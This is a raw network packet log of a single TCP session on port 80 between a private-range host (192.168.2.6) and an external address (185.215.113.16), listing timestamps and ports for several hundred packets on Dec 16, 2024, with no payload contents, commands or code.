Dec 16, 2024 15:38:27.077936888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.077950001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.078007936 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.078033924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.078123093 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.078825951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.078881025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.078892946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.078933001 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.078985929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.079056025 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.079885960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.079947948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.079958916 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.079997063 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.080043077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.080148935 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.080673933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.080804110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.080811024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.080866098 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.080893993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.080955029 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.081558943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.081612110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.081618071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.081653118 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.081921101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.082010984 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.082262993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.082321882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.082329988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.082365036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.082381010 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.082422018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.082987070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.083041906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.083054066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.083122015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.083122969 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.083169937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.083717108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.083723068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.083734989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.083789110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.083792925 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.083847046 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.084417105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.084477901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.084484100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.084552050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.084611893 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.085287094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.085325956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.085339069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.085382938 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.085455894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.085560083 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.086030960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.086085081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.086091995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.086146116 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.086186886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.086232901 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.086884975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.086957932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.086963892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.087035894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.087150097 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.087174892 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.087641001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.087691069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.087702990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.087739944 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.087795019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.088001013 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.088455915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.088483095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.088490009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.088552952 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.088588953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.088926077 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.089350939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.089389086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.089395046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.089488983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.089535952 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.090333939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.090389013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.090394974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.090486050 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.090542078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.090624094 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.091137886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.091154099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.091172934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.091203928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.091353893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.091481924 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.092180967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.092225075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.092236042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.092284918 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.092339993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.092389107 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.092864990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.092911005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.092921972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.093002081 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.093008041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.093252897 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.093601942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.093653917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.093666077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.093739986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.093796968 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.094302893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.094309092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.094321966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.094376087 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.094379902 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.094412088 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.094974995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.094988108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.095046043 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.281512022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.281527042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.281542063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.281594038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.281646967 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.281689882 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.281758070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.281771898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.281780958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.281816006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.282109976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.282242060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.282250881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.282304049 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.282327890 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.282378912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.283031940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.283041954 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.283051014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.283117056 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.283503056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.283513069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.283526897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.283576012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.283641100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.283718109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.284130096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.284291029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.284300089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.284364939 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.284456968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.285129070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.285139084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.285154104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.285202026 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.285262108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.285737991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.285814047 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.285904884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.285913944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.285953999 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.286089897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.286442995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.286506891 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.286626101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.286642075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.286688089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.286850929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.287432909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.287441969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.287455082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.287497044 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.287552118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.288033962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.288101912 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.288328886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.288337946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.288377047 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.288523912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.288850069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.289001942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.289016008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.289060116 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.289146900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.289767981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.289777040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.289784908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.289832115 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.289911985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.290559053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.290569067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.290582895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.290644884 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.290832996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.291415930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.291425943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.291434050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.291440964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.291474104 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.291486979 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.292025089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.292176008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.292188883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.292325020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.292377949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.292998075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.293024063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.293032885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.293088913 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.293127060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.293615103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.293648005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.293662071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.293670893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.293697119 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.293720007 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.294455051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.294610977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.294619083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.294766903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.294859886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.295397043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.295406103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.295419931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.295461893 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.295527935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.296158075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.296165943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.296179056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.296226025 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.296293974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.296348095 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.296880960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.296890974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.296899080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.297003984 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.297168970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.297806025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.297816038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.297828913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.297878027 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.297951937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.298001051 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.298573971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.298722982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.298737049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.298773050 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.298863888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.298918962 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.299371004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.299529076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.299537897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.299588919 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.299984932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.300147057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.300206900 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.300291061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.300386906 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.300432920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.300571918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.300621033 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.301218987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.301383018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.301398039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.301659107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.301717043 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.301970005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.348040104 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.473205090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.473237038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.473300934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.473308086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.473404884 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.473469019 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.473598957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.473675966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.473743916 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.473972082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.474061966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.474073887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.474127054 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.474391937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.474598885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.474611998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.474637032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.474649906 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.474668980 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.475323915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.475375891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.475383043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.475430012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.475562096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.476013899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.476059914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.476072073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.476111889 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.476170063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.476361990 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.476738930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.476803064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.476818085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.476874113 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.476917028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.477560043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.477590084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.477596998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.477605104 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.477632999 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.477672100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.478372097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.478420973 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.478478909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.478487015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.478522062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.478589058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.479206085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.479223013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.479228973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.479270935 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.479302883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.479370117 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.479934931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.479957104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.479969025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.480017900 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.480078936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.480370045 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.480784893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.480849028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.480855942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.480901003 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.481183052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.481576920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.481627941 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.481642008 CET	80	49747	185.215.113.16	192.168.2.6
